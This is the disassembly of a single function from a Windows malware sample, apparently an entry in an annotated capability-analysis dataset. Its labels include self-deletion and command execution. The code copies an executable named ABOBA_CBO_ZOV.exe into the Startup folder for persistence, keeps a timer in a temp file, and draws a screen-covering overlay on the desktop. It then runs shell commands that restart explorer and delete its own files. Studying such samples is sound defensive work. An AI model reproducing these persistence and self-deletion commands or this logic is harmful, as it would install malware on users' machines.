Function at 0x140002bb0
Capabilities:
Create thread
Execute command
Query environment variable
Read file on windows
Self delete
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x308
mov rsi, rdx
lea rbx, [rsp + 0x200]
call fcn.140001660
mov r9, qword [rsi]
mov edx, 0x100
mov rcx, rbx
lea r8, str.copy__y___s_____USERPROFILE__AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupABOBA_CBO_ZOV.exe_
call fcn.1400026a0
mov rcx, rbx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8, [0x140001450]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.USERPROFILE
mov qword [rsp + 0x88], rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
lea r8, str._sAppDataLocalTemp_tdata.tmp
mov edx, 0x100
mov rcx, rbx
xchg r9, rax
call fcn.1400026a0
lea rdx, [0x140005117]
mov rcx, rbx
and qword [rsp + 0xb0], 0
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
xchg rsi, rax
test rsi, rsi
je 0x140002c79
lea rcx, [rsp + 0xb0]
push 1
pop r8
mov r9, rsi
push 8
pop rdx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rcx, rbx
lea rdx, [0x14000511a]
xor r15d, r15d
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rsp + 0x78], rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x70], rax
xchg rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
and qword [rsp + 0x20], 0
mov ecx, 0x172
mov ebx, dword [rsp + 0xc8]
mov ebp, dword [rsp + 0xcc]
sub ebx, dword [rsp + 0xc0]
sub ebp, dword [rsp + 0xc4]
push 0x20
pop r9
push 1
pop r8
push 0x70
pop rdx
call qword [sym.imp.GDI32.dll_CreateBitmap]
xor ecx, ecx
xchg rsi, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rdx, rsi
mov qword [rsp + 0x68], rax
xchg rcx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, qword [rsp + 0x68]
mov edx, 0xffffff
mov r14, qword [sym.imp.GDI32.dll_SetBkColor]
call r14
mov rcx, qword [rsp + 0x68]
xor edx, edx
mov rdi, qword [sym.imp.GDI32.dll_SetTextColor]
call rdi
mov rsi, qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov ecx, 0xffffff
movabs rax, 0x2000000172
mov qword [rsp + 0xd8], rax
and qword [rsp + 0xd0], 0
call rsi
lea r9, [rsp + 0xd0]
mov rcx, qword [rsp + 0x68]
mov r12, qword [sym.imp.USER32.dll_FillRect]
mov qword [rsp + 0x80], r9
mov rdx, r9
xchg r8, rax
call r12
mov r9, qword [rsp + 0x80]
mov dword [rsp + 0x20], 1
lea rdx, [0x14000511e]
push 0xffffffffffffffff
mov r13, qword [sym.imp.USER32.dll_DrawTextW]
pop r8
mov rcx, qword [rsp + 0x68]
call r13
mov rcx, qword [rsp + 0x68]
xor edx, edx
call r14
mov rcx, qword [rsp + 0x68]
mov edx, 0xffffff
call rdi
xor ecx, ecx
call rsi
mov esi, 1
xor ecx, ecx
mov qword [rsp + 0x90], rax
mov eax, 5
shl rsi, 0x25
shl rax, 0x24
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xe0], rax
movabs rax, 0x7000000172
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf8], rax
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
push 2
pop rcx
xchg rsi, rax
lea eax, [rbp - 0x150]
cdq
idiv ecx
mov dword [rsp + 0x98], eax
lea eax, [rbx - 0x456]
cdq
idiv ecx
mov dword [rsp + 0x9c], eax
xor ecx, ecx
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov rdx, qword [rsp + 0xb0]
xchg rbx, rax
mov rax, rsi
add rdx, rbx
sub rax, rdx
add rax, 0xa8c0
test rax, rax
jle 0x140003054
mov ecx, 0x15180
cqo
mov r8, qword [rsp + 0x90]
lea r14, [rsp + 0x100]
idiv rcx
mov ecx, 0xe10
mov rbp, rdx
mov qword [rsp + 0xa0], rax
xchg rbp, rax
cqo
idiv rcx
mov rcx, qword [rsp + 0x68]
xchg rbp, rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0xa8], rdx
mov qword [rsp + 0x80], rax
xchg rdx, rax
call r12
push 0x3c
pop rcx
lea r8, [0x14000501a]
mov rax, qword [rsp + 0xa8]
mov r9d, dword [rsp + 0xa0]
cqo
mov dword [rsp + 0x20], ebp
idiv rcx
mov rcx, r14
mov qword [rsp + 0x30], rdx
mov edx, pe_nt_image_headers64
mov dword [rsp + 0x28], eax
call fcn.140001526
mov dword [rsp + 0x20], 1
mov r9, qword [rsp + 0x80]
mov rdx, r14
push 0xffffffffffffffff
pop r8
mov rcx, qword [rsp + 0x68]
call r13
cmp dword [0x140008030], 0
je 0x140002f0e
lea r15, [rbx + 2]
and dword [0x140008030], 0
jmp 0x140002f13
cmp r15, rbx
jle 0x140002f51
mov rcx, qword [rsp + 0x68]
mov edx, 0xff
call rdi
mov dword [rsp + 0x20], 0x11
lea rdx, [0x1400051b8]
lea r9, [rsp + 0xe0]
push 0xffffffffffffffff
pop r8
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_DrawTextW]
mov rcx, qword [rsp + 0x68]
mov edx, 0xffffff
call rdi
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.USER32.dll_GetWindowDC]
xchg rbp, rax
test rbp, rbp
je 0x1400030a7
push 1
pop r8
xor r9d, r9d
push 0xb
mov r14, qword [sym.imp.USER32.dll_SendMessageA]
pop rdx
mov rcx, qword [rsp + 0x70]
call r14
mov rax, qword [rsp + 0x68]
mov edx, dword [rsp + 0x9c]
mov rcx, rbp
mov r8d, dword [rsp + 0x98]
mov dword [rsp + 0x50], 0xcc0020
mov r9d, 0x456
mov dword [rsp + 0x48], 0x70
mov dword [rsp + 0x40], 0x172
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x150
and dword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
call qword [sym.imp.GDI32.dll_StretchBlt]
push 0xb
xor r9d, r9d
pop rdx
xor r8d, r8d
mov rcx, qword [rsp + 0x70]
call r14
mov rcx, qword [rsp + 0x70]
mov rdx, rbp
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rax, rbx
push 0xa
pop rcx
cqo
idiv rcx
test rdx, rdx
jne 0x140003044
mov rcx, qword [rsp + 0x78]
xor r8d, r8d
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fseek
add rbx, qword [rsp + 0xb0]
mov r9, qword [rsp + 0x78]
lea rcx, [rsp + 0xb8]
sub rbx, rsi
mov qword [rsp + 0xb8], rbx
push 1
pop r8
push 8
pop rdx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rcx, qword [rsp + 0x78]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fflush
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002e22
push 1
pop r8
xor r9d, r9d
push 0xb
pop rdx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.USER32.dll_SendMessageA]
mov rcx, qword [rsp + 0x78]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, str.start__explorer.exe
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
lea rcx, str.del__q__USERPROFILE_AppDataLocalTemp_tdata.tmp
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
lea rcx, str.start____cmd___c_timeout_2__del__q___USERPROFILE_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupABOBA_CBO_ZOV.exe__
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
xor eax, eax
add rsp, 0x308
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret